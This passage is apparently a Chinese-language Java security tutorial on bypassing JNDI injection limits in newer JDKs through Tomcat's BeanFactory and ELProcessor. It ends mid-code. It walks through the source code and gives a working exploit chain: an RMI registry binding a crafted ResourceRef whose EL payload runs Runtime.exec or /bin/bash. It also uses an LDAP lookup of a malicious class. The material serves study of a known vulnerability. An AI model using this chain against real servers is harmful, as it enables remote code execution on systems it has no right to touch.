JNDI高版本注入可以说是java安全大集合了。涉及了许多框架漏洞的组合使用,当分析完JNDI高版本时,我认为也算是正式入门JAVA安全了
jndi注入第一需要在影响版本内,第二需要出网
jdk8<8u191之前,ldap都能打,且不需要其他依赖库。8u191<jdk<8u241,能打JRMP
高版本也能绕过打JNDI:
https://www.cnblogs.com/bitterz/p/15946406.html#211-javaxelelprocessoreval
回想之前的修复方式,都是把trustURLCodebase置为了false,虽然没办法加载远程恶意类了,不过可以通过加载服务器的本地类构造恶意代码
jndi回顾
JNDI demo(yakit or marshelsec生成恶意类)
publicclassJNDIRMIClient{
publicstaticvoidmain(String[] args) throwsException{
InitialContextinitialContext=newInitialContext();
RemoteInterfaceremoteObject=(RemoteInterface) initialContext.lookup("ldap://172.21.240.1:8599/RuntimeEvil");//yakit
remoteObject.sayHello("JNDI");
}
}
低版本(<8u191)jndi ldap中,跟进到DirectoryManager.getObjectInstance:
用getObjectFactoryFromRefrence从远端refrence获取类工厂,并实例化类工厂(我们绑定的恶意类工厂,这一步就完成了RCE)
getObjectInstance从类工厂加载类并实例化
跟进到NamingManager.getObjectFactoryFromRefrence,发现从Reference加载类的过程如下:
先双亲委派从本地加载类
如果本地加载不到,从codebase加载
helper.loadClass(factory) -> VersionHelper12.loadClass,用系统类加载器加载类,走双亲委派从本地加载
从codebase加载类
jdk<191,VersionHelper12从codebase加载如下,用URLClassLoader获取远端类工厂,没有任何过滤
获取后Class.forName初始化
初始化类后直接newInstance实例化,并转为ObjectFactory
jdk>=191,VersionHelper12 trustURLCodebase==true才从远端加载类工厂
不能从远端加载类工厂了,那我们换个思路
从本地加载类工厂,然后找getObjectInstance进行下一步利用
既然要找个能用的类工厂,该类必须满足实现ObjectFactory接口,才能顺利强转
Tomcat 8
导入使用Tomcat类:
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.56</version>
</dependency>
beanFactory
Tomcat8下,org.apache.naming.factory.BeanFactory存在利用点
BeanFactory.getObjectInstance很长,大致流程如下:
不是ResourceRef子类直接退出
加载类并实例化
从ref对象中获取名为forceString的对象,并将其转化为字符串value
将value按逗号分割成多个参数,每个参数形如
name=method
的键值对如果参数包含等号,则将其按等号分为参数名和方法名,
=
前面为参数,=
后面为方法名;如果参数不包含等号,则生成默认的setter方法(首字母大写加set前缀)使用反射获取对应的方法,参数类型为String
很明显,能获取参数个数为1,参数类型为String的任意方法
遍历每个属性,跳过特定的属性(scope,auth,forceString,singleton),如果找到setter方法,则调用此方法设置属性值
找遍全文,发现这个函数完全没有用第二个参数name,也就是我们传入的reference第一个参数(需要加载的类名),好神金(估计只是为了满足重写getObjectInstance
构造一个恶意ResourceRef类,通过forceString参数,能调用任意对象的方法
类需要有无参构造函数,被利用方法需满足参数个数为1,参数类型为String
哪个方法满足要求,且能达到RCE呢?
javax.el.ELProcessor#eval
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.56</version><!-- 使用与你的Tomcat版本相匹配的版本 -->
</dependency>
众所周知,Tomcat自带的类ELProcessor可以进行EL表达式注入
表达式注入的入口即javax.el.ELProcessor#eval,参数正好满足个数为1,类型为String
EL表达式依赖:
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.56</version><!--使用与你的Tomcat版本相匹配的版本-->
</dependency>
EL表达式Payload:
ELProcessorelProcessor=newjavax.el.ELProcessor();
elProcessor.eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','calc']).start()\")");
ResourceRef接收的第一个参数即类名,应该传ELProcesser。但是构造函数并没有看见能传forceString的地方,但注意到都是通过Reference.add添加属性
我们依葫芦画瓢也调用Reference.add添加forceString。这里ResourceRef是Reference的子类
ResourceRefref=newResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(newStringRefAddr("forceString", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")=eval"));
ResourceRef作为Reference子类,可以直接进行JNDI绑定
我们直接试试呢?
publicstaticvoidmain(String[] args) throwsException{
LocateRegistry.createRegistry(1099);
Hashtable<String, String>env=newHashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
ResourceRefref=newResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(newStringRefAddr("forceString", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")=eval"));
InitialContextcontext=newInitialContext(env);
context.bind("remoteImpl", ref);
}
发现并没有执行
调试跟进到BeanFactory.getObjectInstance,发现在invoke之前,由于propName为forceString,跳过了本次循环。
我们先用forceString把setterName设置为eval,属性名设置为x,并put进forced
然后注意循环是在所有Entry循环
第二次在forced根据属性名取方法,也就是eval方法,参数为第二个Entry的Value
所以先传一个("forceString","x=eval")
,再传一个("x","payload")
即可RCE
publicclassjndi_highVersion_Tomcat{
publicstaticvoidmain(String[] args) throwsException{
LocateRegistry.createRegistry(1099);
Hashtable<String, String>env=newHashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
ResourceRefref=newResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(newStringRefAddr("forceString", "x=eval"));
ref.add(newStringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")"));
// ref.add(new StringRefAddr("forceString", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")=eval"));
InitialContextcontext=newInitialContext(env);
context.bind("remoteImpl", ref);
}
}
攻击过程:
执行lookup->实例化factoryLocation路径下factory->调用factory的getObjectInstance->BeanFactory.getObjectInstance->根据forceString解析方法名和占位参数->填充真参数invoke反射调用ELProcessor.eval
不仅ELProcessor能利用,还有很多其他类
浅蓝师傅给出了许多满足BeanFactory调用要求(类有无参构造方法,代码执行方法参数个数为1,参数类型为String,可以后续利用)的类,尽管有一些并不能达到RCE,但仍有利用价值
https://tttang.com/archive/1405/
MLet
MLet.addURL+URLClassLoader.loadClass
jdk自带的javax.management.loading.MLet,addURL方法参数满足要求
调用了URLClossLoader.addURL
MLet继承URLClassLoader,也能用URLClassLoader.loadClass
只可惜loadClass无法触发静态代码块,也无法RCE
虽然无法RCE,但可以用来进行gadget探测。例如在不知道当前Classpath存在哪些可用的gadget时,就可以通过MLet进行第一次类加载,如果类加载成功就不会影响后面访问远程类。
探测ELProcessor和是否可外联:
publicstaticvoidmain(String[] args) throwsException{
LocateRegistry.createRegistr